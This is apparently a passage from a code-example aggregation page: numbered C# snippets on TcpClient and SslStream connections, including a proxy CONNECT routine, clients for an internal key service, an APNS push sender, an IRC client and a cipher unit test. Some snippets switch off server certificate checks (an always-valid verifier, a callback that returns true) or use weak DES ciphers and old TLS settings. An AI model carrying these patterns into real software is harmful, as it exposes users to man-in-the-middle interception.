            if (this.Client == null)
            {
                this.Client = new TcpClient();
            }
            if (!this.Client.Connected)
            {
                this.Client.ConnectTimeout = this.CurrentRequest.ConnectTimeout;
                this.Client.Connect(uri.Host, uri.Port);
                HTTPManager.Logger.Information("HTTPConnection", "Connected to " + uri.Host);
            }
            else
            {
                HTTPManager.Logger.Information("HTTPConnection", "Already connected to " + uri.Host);
            }
            object locker = HTTPManager.Locker;

            lock (locker)
            {
                this.StartTime = DateTime.UtcNow;
            }
            if (this.Stream == null)
            {
                if (this.HasProxy && !this.Proxy.IsTransparent)
                {
                    this.Stream = this.Client.GetStream();
                    BinaryWriter binaryWriter = new BinaryWriter(this.Stream);
                    binaryWriter.Write(string.Format("CONNECT {0}:{1} HTTP/1.1", this.CurrentRequest.CurrentUri.Host, this.CurrentRequest.CurrentUri.Port).GetASCIIBytes());
                    binaryWriter.Write(HTTPRequest.EOL);
                    binaryWriter.Write(string.Format("Proxy-Connection: Keep-Alive", new object[0]));
                    binaryWriter.Write(HTTPRequest.EOL);
                    binaryWriter.Write(string.Format("Connection: Keep-Alive", new object[0]));
                    binaryWriter.Write(HTTPRequest.EOL);
                    binaryWriter.Write(string.Format("Host: {0}:{1}", this.CurrentRequest.CurrentUri.Host, this.CurrentRequest.CurrentUri.Port).GetASCIIBytes());
                    binaryWriter.Write(HTTPRequest.EOL);
                    binaryWriter.Write(HTTPRequest.EOL);
                    binaryWriter.Flush();
                    this.CurrentRequest.ProxyResponse = new HTTPProxyResponse(this.CurrentRequest, this.Stream, false, false);
                    if (!this.CurrentRequest.ProxyResponse.Receive(-1, true))
                    {
                        throw new Exception("Connection to the Proxy Server failed!");
                    }
                    HTTPManager.Logger.Information("HTTPConnection", string.Concat(new object[]
                    {
                        "Proxy returned - status code: ",
                        this.CurrentRequest.ProxyResponse.StatusCode,
                        " message: ",
                        this.CurrentRequest.ProxyResponse.Message
                    }));
                }
                if (HTTPProtocolFactory.IsSecureProtocol(this.CurrentRequest.CurrentUri))
                {
                    if (this.CurrentRequest.UseAlternateSSL)
                    {
                        TlsClientProtocol tlsClientProtocol = new TlsClientProtocol(this.Client.GetStream(), new SecureRandom());
                        List <string>     list = new List <string>(1);
                        list.Add(this.CurrentRequest.CurrentUri.Host);
                        TlsClientProtocol    arg_32B_0 = tlsClientProtocol;
                        ICertificateVerifyer arg_326_0;
                        if (this.CurrentRequest.CustomCertificateVerifyer == null)
                        {
                            ICertificateVerifyer certificateVerifyer = new AlwaysValidVerifyer();
                            arg_326_0 = certificateVerifyer;
                        }
                        else
                        {
                            arg_326_0 = this.CurrentRequest.CustomCertificateVerifyer;
                        }
                        arg_32B_0.Connect(new LegacyTlsClient(arg_326_0, null, list));
                        this.Stream = tlsClientProtocol.Stream;
                    }
                    else
                    {
                        SslStream sslStream = new SslStream(this.Client.GetStream(), false, (object sender, X509Certificate cert, X509Chain chain, SslPolicyErrors errors) => this.CurrentRequest.CallCustomCertificationValidator(cert, chain));
                        if (!sslStream.IsAuthenticated)
                        {
                            sslStream.AuthenticateAsClient(uri.Host);
                        }
                        this.Stream = sslStream;
                    }
                }
                else
                {
                    this.Stream = this.Client.GetStream();
                }
            }
        }
Пример #18
0
        private void Button_Click(object sender, RoutedEventArgs e)
        {
            try
            {
                TcpClient client = new TcpClient("127.0.0.1", 6000);
                Console.WriteLine("Client connected.");
                _sslStream = new SslStream(
                    client.GetStream(),
                    false,
                    new RemoteCertificateValidationCallback(ValidateServerCertificate),
                    null
                    );


                X509CertificateCollection certs = new X509CertificateCollection();
                X509Certificate           cert  = X509Certificate.CreateFromCertFile(System.Environment.CurrentDirectory + @"\" + "client.cer");
                certs.Add(cert);
                //验证证书
                try
                {
/*
 * 注意事项
 *
 * 1.服务端验证方法AuthenticateAsServer的参数clientCertificateRequired如果为true,那在客户端也要安装server.pfx.
 *
 * 2.客户端验证方法AuthenticateAsClient的参数targetHost对应证书中Common Name,也就是受颁发者.
 */
                    _sslStream.AuthenticateAsClient("test", certs, SslProtocols.Tls, false);
                }
                catch (AuthenticationException)
                {
                    client.Close();

                    //Console.WriteLine("Exception: {0}", e.Message);
                    //if (e.InnerException != null)
                    //{
                    //    Console.WriteLine("Inner exception: {0}", e.InnerException.Message);
                    //}
                    //Console.WriteLine("Authentication failed - closing the connection.");
                    //client.Close();
                    //Console.ReadLine();
                    return;
                }

                //开始读取消息
                Task.Factory.StartNew(() =>
                {
                    ReadMessage(_sslStream);
                });

                Console.WriteLine("按Q退出程序");
                string message = "";
                message = Console.ReadLine() + "<EOF>";
                while (message != "Q")
                {
                    byte[] bytes = Encoding.UTF8.GetBytes(message);
                    _sslStream.Write(bytes);
                    _sslStream.Flush();
                    Console.WriteLine("send:" + message);
                    message = Console.ReadLine() + "<EOF>";
                }

                client.Close();
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex);
                Console.ReadLine();
            }
        }
Пример #19
0
        private void btnNewGetOld_Click(object sender, RoutedEventArgs e)
        {
            TcpClient LTcpClient = null;
            SslStream LSslStream = null;

            try
            {
                string LStrVerificationCode101 = string.Empty;
                string LStrVerificationCode104 = string.Empty;
                string LStrVerificationCode004 = string.Empty;
                LStrVerificationCode101 = CreateVerificationCode(EncryptionAndDecryption.UMPKeyAndIVType.M101);
                LStrVerificationCode004 = CreateVerificationCode(EncryptionAndDecryption.UMPKeyAndIVType.M004);
                LStrVerificationCode104 = CreateVerificationCode(EncryptionAndDecryption.UMPKeyAndIVType.M104);
                string LStrSendMessage = string.Empty;
                string LStrReadMessage = string.Empty;

                LStrSendMessage = EncryptionAndDecryption.EncryptDecryptString("HelloService06", LStrVerificationCode004, EncryptionAndDecryption.UMPKeyAndIVType.M004);
                LTcpClient      = new TcpClient("192.168.6.86", 8075);
                LSslStream      = new SslStream(LTcpClient.GetStream(), false, new RemoteCertificateValidationCallback(ValidateServerCertificate), null);
                LSslStream.AuthenticateAsClient("VoiceCyber.PF", null, SslProtocols.Default, false);
                byte[] LByteMesssage = Encoding.UTF8.GetBytes(LStrSendMessage + "\r\n");
                LSslStream.Write(LByteMesssage); LSslStream.Flush();

                if (ReadMessageFromServer(LSslStream, ref LStrReadMessage))
                {
                    //查看32位密码
                    LStrReadMessage = EncryptionAndDecryption.EncryptDecryptString(LStrReadMessage, LStrVerificationCode101, EncryptionAndDecryption.UMPKeyAndIVType.M101);
                    LStrSendMessage = EncryptionAndDecryption.EncryptDecryptString(LStrReadMessage, LStrVerificationCode004, EncryptionAndDecryption.UMPKeyAndIVType.M004);
                    if (SendMessageToService(LSslStream, LStrSendMessage))
                    {
                        ///@AInParam00 :    方法码
                        // @AInParam01 :	加密对象类型,目前参数值 = '1'
                        // @AInParam02 :	加密的对象, 目前参数值 = 录音服务器IP或录音服务器名
                        // @AInParam03 :	RecordReference
                        // @AInParam04 :	StartRecordTime,格式:'yyyy-MM-dd HH:mm:ss'
                        // @AInParam05 :	查询密钥截至时间,如果该值为空,则取GETDATE()
                        // @AInParam06 :	Key1b HH256
                        // @AInParam07 :	UserID,目前该参数不使用,将来以后验证是否有新密钥解老密钥的权限 暂时不用


                        LStrSendMessage = EncryptionAndDecryption.EncryptDecryptString("G003", LStrVerificationCode004, EncryptionAndDecryption.UMPKeyAndIVType.M004) + AscCodeToChr(27) +
                                          EncryptionAndDecryption.EncryptDecryptString("1", LStrVerificationCode004, EncryptionAndDecryption.UMPKeyAndIVType.M004) + AscCodeToChr(27) +
                                          EncryptionAndDecryption.EncryptDecryptString("192.168.6.75", LStrVerificationCode004, EncryptionAndDecryption.UMPKeyAndIVType.M004) + AscCodeToChr(27) +
                                          EncryptionAndDecryption.EncryptDecryptString("15", LStrVerificationCode004, EncryptionAndDecryption.UMPKeyAndIVType.M004) + AscCodeToChr(27) +
                                          EncryptionAndDecryption.EncryptDecryptString("2015-08-14 06:04:08", LStrVerificationCode004, EncryptionAndDecryption.UMPKeyAndIVType.M004) + AscCodeToChr(27) +
                                          EncryptionAndDecryption.EncryptDecryptString(" ", LStrVerificationCode004, EncryptionAndDecryption.UMPKeyAndIVType.M004) + AscCodeToChr(27) +
                                          EncryptionAndDecryption.EncryptDecryptString("445566", LStrVerificationCode004, EncryptionAndDecryption.UMPKeyAndIVType.M004) + AscCodeToChr(27) +
                                          EncryptionAndDecryption.EncryptDecryptString(" ", LStrVerificationCode004, EncryptionAndDecryption.UMPKeyAndIVType.M004);
                        FileLog.WriteInfo("G003发送消息:", LStrSendMessage);


                        LByteMesssage = Encoding.UTF8.GetBytes(LStrSendMessage + "\r\n");
                        LSslStream.Write(LByteMesssage); LSslStream.Flush();
                        ReadMessageFromServer(LSslStream, ref LStrSendMessage);
                        string[] ReadMessage = LStrSendMessage.Split(AscCodeToChr(27).ToArray());

                        string KeyID    = EncryptionAndDecryption.EncryptDecryptString(ReadMessage[0], LStrVerificationCode104, EncryptionAndDecryption.UMPKeyAndIVType.M104);
                        string PolicyID = EncryptionAndDecryption.EncryptDecryptString(ReadMessage[1], LStrVerificationCode104, EncryptionAndDecryption.UMPKeyAndIVType.M104);

                        string Key1b = EncryptionAndDecryption.EncryptDecryptString(ReadMessage[2], LStrVerificationCode104, EncryptionAndDecryption.UMPKeyAndIVType.M104);
                        string Key1d = EncryptionAndDecryption.EncryptDecryptString(ReadMessage[3], LStrVerificationCode104, EncryptionAndDecryption.UMPKeyAndIVType.M104);
                        FileLog.WriteInfo("btnNewGetOldKey()", "收到keyid:" + KeyID + "收到的PolicyId:" + PolicyID + "  Key1b:" + Key1b + " Key1d:" + Key1d);
                    }
                }
                else
                {
                    MessageBox.Show(LStrReadMessage);
                }
            }
            catch (AuthenticationException ex)
            {
                MessageBox.Show(ex.ToString());
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.ToString());
            }
            finally
            {
                if (LSslStream != null)
                {
                    LSslStream.Close();
                }
                if (LTcpClient != null)
                {
                    LTcpClient.Close();
                }
            }
        }
Пример #20
0
        private void btnWriteMark_Click(object sender, RoutedEventArgs e)
        {
            TcpClient LTcpClient = null;
            SslStream LSslStream = null;

            try
            {
                string LStrVerificationCode101 = string.Empty;
                string LStrVerificationCode104 = string.Empty;
                string LStrVerificationCode004 = string.Empty;
                LStrVerificationCode101 = CreateVerificationCode(EncryptionAndDecryption.UMPKeyAndIVType.M101);
                LStrVerificationCode004 = CreateVerificationCode(EncryptionAndDecryption.UMPKeyAndIVType.M004);
                LStrVerificationCode104 = CreateVerificationCode(EncryptionAndDecryption.UMPKeyAndIVType.M104);
                string LStrSendMessage = string.Empty;
                string LStrReadMessage = string.Empty;

                LStrSendMessage = EncryptionAndDecryption.EncryptDecryptString("HelloService06", LStrVerificationCode004, EncryptionAndDecryption.UMPKeyAndIVType.M004);
                LTcpClient      = new TcpClient("192.168.9.76", 8075);
                LSslStream      = new SslStream(LTcpClient.GetStream(), false, new RemoteCertificateValidationCallback(ValidateServerCertificate), null);
                LSslStream.AuthenticateAsClient("VoiceCyber.PF", null, SslProtocols.Default, false);
                byte[] LByteMesssage = Encoding.UTF8.GetBytes(LStrSendMessage + "\r\n");
                LSslStream.Write(LByteMesssage); LSslStream.Flush();

                if (ReadMessageFromServer(LSslStream, ref LStrReadMessage))
                {
                    //查看32位密码
                    LStrReadMessage = EncryptionAndDecryption.EncryptDecryptString(LStrReadMessage, LStrVerificationCode101, EncryptionAndDecryption.UMPKeyAndIVType.M101);
                    LStrSendMessage = EncryptionAndDecryption.EncryptDecryptString(LStrReadMessage, LStrVerificationCode004, EncryptionAndDecryption.UMPKeyAndIVType.M004);
                    if (SendMessageToService(LSslStream, LStrSendMessage))
                    {
                        string ss = "";//取小汤那边发送的消息串
                        while (ss.Length > 0)
                        {
                            string ssTemp = string.Empty;
                            if (ss.Length > 16384)
                            {
                                ssTemp = ss.Substring(0, 16384);
                                ss     = ss.Substring(16384);
                            }
                            else
                            {
                                ssTemp = ss;
                                ssTemp = ssTemp + "\r\n";
                                ss     = string.Empty;
                            }
                            SendMessageToService1(LSslStream, ssTemp);
                        }
                        LStrReadMessage = string.Empty;
                        LStrReadMessage = ReadMessageFromService(LSslStream);
                        Console.WriteLine(LStrReadMessage);

                        //Thread.Sleep(100);
                        //for (int i = 0; i < 100; i++)
                        //{
                        //    LStrSendMessage = EncryptionAndDecryption.EncryptDecryptString("G002", LStrVerificationCode004, EncryptionAndDecryption.UMPKeyAndIVType.M004) + AscCodeToChr(27) +  //功能码
                        //        EncryptionAndDecryption.EncryptDecryptString("1234567891234567890", LStrVerificationCode004, EncryptionAndDecryption.UMPKeyAndIVType.M004) + AscCodeToChr(27) + //流水号
                        //        EncryptionAndDecryption.EncryptDecryptString("2", LStrVerificationCode004, EncryptionAndDecryption.UMPKeyAndIVType.M004) + AscCodeToChr(27) + //成功标志
                        //        EncryptionAndDecryption.EncryptDecryptString("444444444444444", LStrVerificationCode004, EncryptionAndDecryption.UMPKeyAndIVType.M004)+AscCodeToChr(27)+//KeyID
                        //         EncryptionAndDecryption.EncryptDecryptString("5555555555555", LStrVerificationCode004, EncryptionAndDecryption.UMPKeyAndIVType.M004)+AscCodeToChr(27)+//PolicyID
                        //          EncryptionAndDecryption.EncryptDecryptString("ASDFSAFSFSADDFASFD", LStrVerificationCode004, EncryptionAndDecryption.UMPKeyAndIVType.M004)+AscCodeToChr(27)+//key1b
                        //           EncryptionAndDecryption.EncryptDecryptString("ASDFSAFSFSADDFASFD", LStrVerificationCode004, EncryptionAndDecryption.UMPKeyAndIVType.M004) + AscCodeToChr(27)+//key1d
                        //            EncryptionAndDecryption.EncryptDecryptString("e0001", LStrVerificationCode004, EncryptionAndDecryption.UMPKeyAndIVType.M004) + AscCodeToChr(27);//错误码

                        //    FileLog.WriteInfo("休息10Ms:" + i, "");
                        //    Thread.Sleep(10);
                        //    FileLog.WriteInfo("发送次数:" + i, "");
                        //    SendMessageToService(LSslStream, LStrSendMessage);
                        //}
                    }
                }
                else
                {
                    MessageBox.Show(LStrReadMessage);
                }
            }
            catch (AuthenticationException ex)
            {
                MessageBox.Show(ex.ToString());
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.ToString());
            }
            finally
            {
                if (LSslStream != null)
                {
                    LSslStream.Close();
                }
                if (LTcpClient != null)
                {
                    LTcpClient.Close();
                }
            }
        }
Пример #21
0
        private void btnGetEncryRecord_Click(object sender, RoutedEventArgs e)
        {
            TcpClient LTcpClient = null;
            SslStream LSslStream = null;

            try
            {
                string LStrVerificationCode101 = string.Empty;
                string LStrVerificationCode104 = string.Empty;
                string LStrVerificationCode004 = string.Empty;
                LStrVerificationCode101 = CreateVerificationCode(EncryptionAndDecryption.UMPKeyAndIVType.M101);
                LStrVerificationCode004 = CreateVerificationCode(EncryptionAndDecryption.UMPKeyAndIVType.M004);
                LStrVerificationCode104 = CreateVerificationCode(EncryptionAndDecryption.UMPKeyAndIVType.M104);
                string LStrSendMessage = string.Empty;
                string LStrReadMessage = string.Empty;

                LStrSendMessage = EncryptionAndDecryption.EncryptDecryptString("HelloService06", LStrVerificationCode004, EncryptionAndDecryption.UMPKeyAndIVType.M004);
                LTcpClient      = new TcpClient("192.168.9.76", 8075);
                LSslStream      = new SslStream(LTcpClient.GetStream(), false, new RemoteCertificateValidationCallback(ValidateServerCertificate), null);
                LSslStream.AuthenticateAsClient("VoiceCyber.PF", null, SslProtocols.Default, false);
                byte[] LByteMesssage = Encoding.UTF8.GetBytes(LStrSendMessage + "\r\n");
                LSslStream.Write(LByteMesssage); LSslStream.Flush();

                if (ReadMessageFromServer(LSslStream, ref LStrReadMessage))
                {
                    Thread.Sleep(100);
                    //查看32位密码
                    LStrReadMessage = EncryptionAndDecryption.EncryptDecryptString(LStrReadMessage, LStrVerificationCode101, EncryptionAndDecryption.UMPKeyAndIVType.M101);
                    LStrSendMessage = EncryptionAndDecryption.EncryptDecryptString(LStrReadMessage, LStrVerificationCode004, EncryptionAndDecryption.UMPKeyAndIVType.M004);

                    if (SendMessageToService(LSslStream, LStrSendMessage))
                    {
                        //for (int i = 0; i < 100; i++)
                        //{

                        LStrSendMessage = EncryptionAndDecryption.EncryptDecryptString("G001", LStrVerificationCode004, EncryptionAndDecryption.UMPKeyAndIVType.M004) + AscCodeToChr(27) + EncryptionAndDecryption.EncryptDecryptString("192.168.1.1", LStrVerificationCode004, EncryptionAndDecryption.UMPKeyAndIVType.M004) + AscCodeToChr(27) + EncryptionAndDecryption.EncryptDecryptString("500", LStrVerificationCode004, EncryptionAndDecryption.UMPKeyAndIVType.M004);
                        // FileLog.WriteInfo("休息8 ms:" + i, "");
                        Thread.Sleep(10);
                        LByteMesssage = Encoding.UTF8.GetBytes(LStrSendMessage + "\r\n");
                        LSslStream.Write(LByteMesssage); LSslStream.Flush();
                        //FileLog.WriteInfo("发送次数:" + i, "");
                        if (ReadMessageFromServer(LSslStream, ref LStrReadMessage))
                        {
                            string URL  = string.Empty;
                            string Pass = string.Empty;

                            string[] ReadMessage = LStrReadMessage.Split(AscCodeToChr(27).ToArray());

                            URL  = ReadMessage[0];
                            URL  = EncryptionAndDecryption.EncryptDecryptString(ReadMessage[0], LStrVerificationCode104, EncryptionAndDecryption.UMPKeyAndIVType.M104);
                            Pass = ReadMessage[1];
                            Pass = EncryptionAndDecryption.EncryptDecryptString(ReadMessage[1], LStrVerificationCode104, EncryptionAndDecryption.UMPKeyAndIVType.M104);
                            FileLog.WriteInfo("收到URL:" + EncryptionAndDecryption.EncryptDecryptString(ReadMessage[0], LStrVerificationCode104, EncryptionAndDecryption.UMPKeyAndIVType.M104), "收到的密码:" + EncryptionAndDecryption.EncryptDecryptString(ReadMessage[1], LStrVerificationCode104, EncryptionAndDecryption.UMPKeyAndIVType.M104));
                        }
                        //}
                    }
                }
                else
                {
                    MessageBox.Show(LStrReadMessage);
                }
            }
            catch (AuthenticationException ex)
            {
                MessageBox.Show(ex.ToString());
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.ToString());
            }
            finally
            {
                if (LSslStream != null)
                {
                    LSslStream.Close();
                }
                if (LTcpClient != null)
                {
                    LTcpClient.Close();
                }
            }
        }
Пример #22
0
            public void ConnectTLS()
            {   //TextRead();
                ClearRawTextData();
                lock (Client)
                {
                    byte[] nullbuff;
                    if (Client.Available > 0)
                    {
                        nullbuff = new byte[Client.Available];
                        int BytesRead = Client.GetStream().Read(nullbuff, 0, nullbuff.Length);
                        TotalDataReceivedForTlsConnection.Add(BytesRead);
                    }

                    RemoteCertificateValidationCallback CertValidationCallback = null;
                    if (AllowSelfSignedServerCertificate)
                    {
                        CertValidationCallback = new RemoteCertificateValidationCallback(ServerValidationCallbackNoVerifcation);
                    }
                    else
                    {
                        CertValidationCallback = new RemoteCertificateValidationCallback(ServerValidationCallback);
                    }

                    LocalCertificateSelectionCallback MycertCallback =
                        new LocalCertificateSelectionCallback(LocalCertificateSelectionCallback);


                    try
                    {
                        Console.WriteLine("Connecting with TLS");
                        if (Certificate != null)
                        {
                            TLSStream = new SslStream(ActiveStream, true, CertValidationCallback, MycertCallback);
                            TLSStream.WriteTimeout = SendTimeout;

                            X509CertificateCollection Certificates = new X509CertificateCollection();
                            Certificates.Add(Certificate);

                            TLSStream.AuthenticateAsClient(Hostname,
                                                           Certificates,
                                                           SslProtocols.Tls,
                                                           false);
                        }
                        else
                        {
                            TLSStream = new SslStream(ActiveStream, true, CertValidationCallback);
                            TLSStream.WriteTimeout = SendTimeout;

                            TLSStream.AuthenticateAsClient(Hostname);
                        }

                        //TLSStream.AuthenticateAsClient(Hostname);
                        ActiveStream = TLSStream;
                        if (Client.Available > 0)
                        {
                            nullbuff = new byte[Client.Available];
                            int BytesRead = Client.GetStream().Read(nullbuff, 0, nullbuff.Length);
                            TotalDataReceivedForTlsConnection.Add(BytesRead);
                        }
                        IsConnectedViaTLS = true;
                        Console.WriteLine("Connected with TLS");
                    }
                    catch (System.Exception ex)
                    {
                        Log(0, "TLS Error(s): {0}", ex.ToString());
                        throw new Exception("Connection failed due to TLS errors: " + ex.ToString());
                    }
                }
            }
Пример #23
0
    // Use this for initialization
    void Start()
    {
        string machineName = "datisbox.net";
        int port = 8666;
        string serverCertificateName = "tsarpf-cert.pem";

        client = new TcpClient(machineName, port).GetStream();
        Console.WriteLine("Client connected.");
        // Create an SSL stream that will close the client's stream.
        stream = new SslStream(
           client,
           false,
           new RemoteCertificateValidationCallback(ValidateServerCertificate),
           null
           );
        // The server name must match the name on the server certificate.
        try
        {
            stream.AuthenticateAsClient(serverCertificateName);
        }
        catch (AuthenticationException e)
        {
            Console.WriteLine("Exception: {0}", e.Message);
            if (e.InnerException != null)
            {
                Console.WriteLine("Inner exception: {0}", e.InnerException.Message);
            }
            Console.WriteLine("Authentication failed - closing the connection.");
            client.Close();
            return;

        }

        //TODO: authentication handlinga ödlfjglkj
    }
Пример #24
0
        /*
        public string iOSAPNS(String DeviceTokenlistString, String content)
        {

            APNSSender test = new APNSSender();

            return test.SendAPNS(DeviceTokenlistString, content);
        }
         */


        /// <summary>  
        ///  傳入 DeviceToken  與 要傳的訊息
        /// </summary>  
        /// 手機上方 最多五則
        /// 警報日期:2015/03/04 11:55:00 \n類型/嚴重度:超速 / [嚴重]\n名稱:連續超速70km  3分鐘\n車號/駕駛人:kw-car03 / 易大師
        /// APNS 限制 payload 256bytes 超過就不發了 不过由于aps,alert等会占用部分长度,所以一般剩余140-200之间。
        /// 實測560個字都傳的出去 只是手機顯示最多4行而已
        /// <param name="inDeviceToken ID"> 手機端 Registration ID</param>  
        /// <param name="inMessage">訊息內容</param>  
        public String SendAPNS(String inDeviceToken, String inMessage)
        {
            //http://blog.sina.com.cn/s/blog_6f9a9718010128hi.html
            //太連續用單一個發送 會被蘋果認為是 dos 攻擊 而中斷連線   用單一個多次發送 遇到錯誤的token會中斷發送 接下來的都會無法發送
            System.Threading.Thread.Sleep(50);

        //    str = "{\"aps\":{\"alert\":\"" + s2 + "\",\"badge\":10,\"sound\":\"default\"}}";
            // badge 設為 0 就不會出現數字
            mAPNSMessage = "{\"aps\":{\"alert\":\"" + inMessage + "\",\"badge\":0,\"sound\":\"default\"}}";
          
            int port = 2195;
       //     string certificatepath = ConfigurationManager.AppSettings["p12FilePath"];
       //     string certificatepath = "D:\\VisualStudioProject\\Fleet\\new_aps_developer.p12";
            //string certificatepath = "D:\\VisualStudioProject\\Fleet\\distribution_aps_developer.p12";
        //    string certificatepath = "D:\\VisualStudioProject\\Fleet\\fleetivity_aps_developer.p12";
         //   string certificatepath = "C:\\inetpub\\DotNetNuke\\fleetivity_aps_developer.p12";

            string certificatepath = HttpContext.Current.Server.MapPath("/") + "certificate\\fleetivity_aps_developer.p12";

            

            string password = "******";

            // Apple development server address
            string hostIP = "gateway.sandbox.push.apple.com";//

           

            string p12Filename = System.IO.Path.Combine(AppDomain.CurrentDomain.BaseDirectory, certificatepath);
            certificate = new X509Certificate2(System.IO.File.ReadAllBytes(p12Filename), password, X509KeyStorageFlags.MachineKeySet | X509KeyStorageFlags.PersistKeySet | X509KeyStorageFlags.Exportable);
            certificates = new X509CertificateCollection();
            certificates.Add(certificate);

            if (certificate.ToString().Contains("Production"))
            {
                hostIP = "gateway.push.apple.com";
            }
            else
            {
                hostIP = "gateway.sandbox.push.apple.com";
            }

            TcpClient apnsClient = new TcpClient();
            apnsClient.Connect(hostIP, port);
            SslStream apnsStream = new SslStream(apnsClient.GetStream(), false, new RemoteCertificateValidationCallback(validateServerCertificate), new LocalCertificateSelectionCallback(selectLocalCertificate));
            try
            {
                apnsStream.AuthenticateAsClient(hostIP, certificates, System.Security.Authentication.SslProtocols.Tls, false);
            }
            catch (System.Security.Authentication.AuthenticationException ex)
            {
                Console.WriteLine("error:" + ex.Message);
            }

            if (!apnsStream.IsMutuallyAuthenticated)
            {
                Console.WriteLine("error:" + "Ssl Stream Failed to Authenticate");
            }

            if (!apnsStream.CanWrite)
            {
                Console.WriteLine("error:" + "Ssl Stream is not Writable");
            }
            Byte[] message = ToBytes(inDeviceToken);
            apnsStream.Write(message);
            return System.Text.Encoding.UTF8.GetString(message);
        }
Пример #25
0
		public void TestSyncIntermediate()
		{
			IPEndPoint ep = null;
			var evtReady = new AutoResetEvent(false);

			var serverTask = Task.Factory.StartNew(() =>
			{
				var listener = new TcpListener(IPAddress.Loopback, 0);
				listener.Start(5);
				ep = (IPEndPoint)listener.LocalEndpoint;

				evtReady.Set();

				Console.WriteLine("Server> waiting for accept");

				using (var tcp = listener.AcceptTcpClient())
				using (var sslStream = new SslStream(tcp.GetStream()))
				{
					Console.WriteLine("Server> authenticate");
					sslStream.AuthenticateAsServer(
						_ctx.ServerCertificate,
						false,
						null,
						SslProtocols.Default,
						SslStrength.Low,
						false
					);

					Console.WriteLine("Server> CurrentCipher: {0}", sslStream.Ssl.CurrentCipher.Name);
					Assert.AreEqual("DES-CBC-SHA", sslStream.Ssl.CurrentCipher.Name);

					Console.WriteLine("Server> rx msg");
					var buf = new byte[256];
					sslStream.Read(buf, 0, buf.Length);
					Assert.AreEqual(clientMessage.ToString(), buf.ToString());

					Console.WriteLine("Server> tx msg");
					sslStream.Write(serverMessage, 0, serverMessage.Length);

					Console.WriteLine("Server> done");
				}

				listener.Stop();
			});

			var clientTask = Task.Factory.StartNew(() =>
			{
				evtReady.WaitOne();

				Console.WriteLine("Client> Connecting to: {0}:{1}", ep.Address, ep.Port);

				using (var tcp = new TcpClient(ep.Address.ToString(), ep.Port))
				using (var sslStream = new SslStream(tcp.GetStream()))
				{
					Console.WriteLine("Client> authenticate");
					sslStream.AuthenticateAsClient(
						"localhost",
						null,
						null,
						SslProtocols.Default,
						SslStrength.Low,
						false
					);

					Console.WriteLine("Client> CurrentCipher: {0}", sslStream.Ssl.CurrentCipher.Name);
					Assert.AreEqual("DES-CBC-SHA", sslStream.Ssl.CurrentCipher.Name);

					Console.WriteLine("Client> tx msg");
					sslStream.Write(clientMessage, 0, clientMessage.Length);

					Console.WriteLine("Client> rx msg");
					var buf = new byte[256];
					sslStream.Read(buf, 0, buf.Length);
					Assert.AreEqual(serverMessage.ToString(), buf.ToString());

					Console.WriteLine("Client> done");
				}
			});

			serverTask.Wait();
			clientTask.Wait();
		}
Пример #26
0
        /// <overloads>this method has 2 overloads</overloads>
        /// <summary>
        /// Connects to the specified server and port, when the connection fails
        /// the next server in the list will be used.
        /// </summary>
        /// <param name="addresslist">List of servers to connect to</param>
        /// <param name="port">Portnumber to connect to</param>
        /// <exception cref="CouldNotConnectException">The connection failed</exception>
        /// <exception cref="AlreadyConnectedException">If there is already an active connection</exception>
        public void Connect(string[] addresslist, int port)
        {
            if (_IsConnected)
            {
                throw new AlreadyConnectedException("Already connected to: " + Address + ":" + Port);
            }

            _ConnectTries++;
#if LOG4NET
            Logger.Connection.Info(String.Format("connecting... (attempt: {0})",
                                                 _ConnectTries));
#endif
            _AddressList = (string[])addresslist.Clone();
            _Port        = port;

            if (OnConnecting != null)
            {
                OnConnecting(this, EventArgs.Empty);
            }
            try {
                System.Net.IPAddress ip = System.Net.Dns.Resolve(Address).AddressList[0];
                _TcpClient         = new IrcTcpClient();
                _TcpClient.NoDelay = true;
                _TcpClient.Socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, 1);
                // set timeout, after this the connection will be aborted
                _TcpClient.ReceiveTimeout = _SocketReceiveTimeout * 1000;
                _TcpClient.SendTimeout    = _SocketSendTimeout * 1000;
                _TcpClient.Connect(ip, port);

                Stream stream = _TcpClient.GetStream();
#if NET_2_0
                if (_UseSsl)
                {
                    SslStream sslStream = new SslStream(stream, false, delegate {
                        return(true);
                    });
                    sslStream.AuthenticateAsClient(Address);
                    stream = sslStream;
                }
#endif
                _Reader = new StreamReader(stream, _Encoding);
                _Writer = new StreamWriter(stream, _Encoding);

                if (_Encoding.GetPreamble().Length > 0)
                {
                    // HACK: we have an encoding that has some kind of preamble
                    // like UTF-8 has a BOM, this will confuse the IRCd!
                    // Thus we send a \r\n so the IRCd can safely ignore that
                    // garbage.
                    _Writer.WriteLine();
                }

                // Connection was succeful, reseting the connect counter
                _ConnectTries = 0;

                // updating the connection error state, so connecting is possible again
                IsConnectionError = false;
                _IsConnected      = true;

                // lets power up our threads
                _ReadThread.Start();
                _WriteThread.Start();
                _IdleWorkerThread.Start();

#if LOG4NET
                Logger.Connection.Info("connected");
#endif
                if (OnConnected != null)
                {
                    OnConnected(this, EventArgs.Empty);
                }
            } catch (Exception e) {
                if (_Reader != null)
                {
                    try {
                        _Reader.Close();
                    } catch (ObjectDisposedException) {
                    }
                }
                if (_Writer != null)
                {
                    try {
                        _Writer.Close();
                    } catch (ObjectDisposedException) {
                    }
                }
                if (_TcpClient != null)
                {
                    _TcpClient.Close();
                }
                _IsConnected      = false;
                IsConnectionError = true;

#if LOG4NET
                Logger.Connection.Info("connection failed: " + e.Message);
#endif
                if (_AutoRetry &&
                    _ConnectTries <= 3)
                {
                    if (OnAutoConnectError != null)
                    {
                        OnAutoConnectError(this, new AutoConnectErrorEventArgs(Address, Port, e));
                    }
#if LOG4NET
                    Logger.Connection.Debug("delaying new connect attempt for " + _AutoRetryDelay + " sec");
#endif
                    Thread.Sleep(_AutoRetryDelay * 1000);
                    _NextAddress();
                    Connect(_AddressList, _Port);
                }
                else
                {
                    throw new CouldNotConnectException("Could not connect to: " + Address + ":" + Port + " " + e.Message, e);
                }
            }
        }
        /// <summary>
        /// Manual HTTPS request since we must directly use a TcpClient because of the proxy.
        /// This method connects to the server, enables SSL, do the request and read the response.
        /// </summary>
        /// <param name="headers">Request headers and optional body (POST)</param>
        /// <param name="host">Host to connect to</param>
        /// <param name="result">Request result</param>
        /// <returns>HTTP Status code</returns>
        private static int DoHTTPSRequest(List <string> headers, string host, ref string result)
        {
            string    postResult = null;
            int       statusCode = 520;
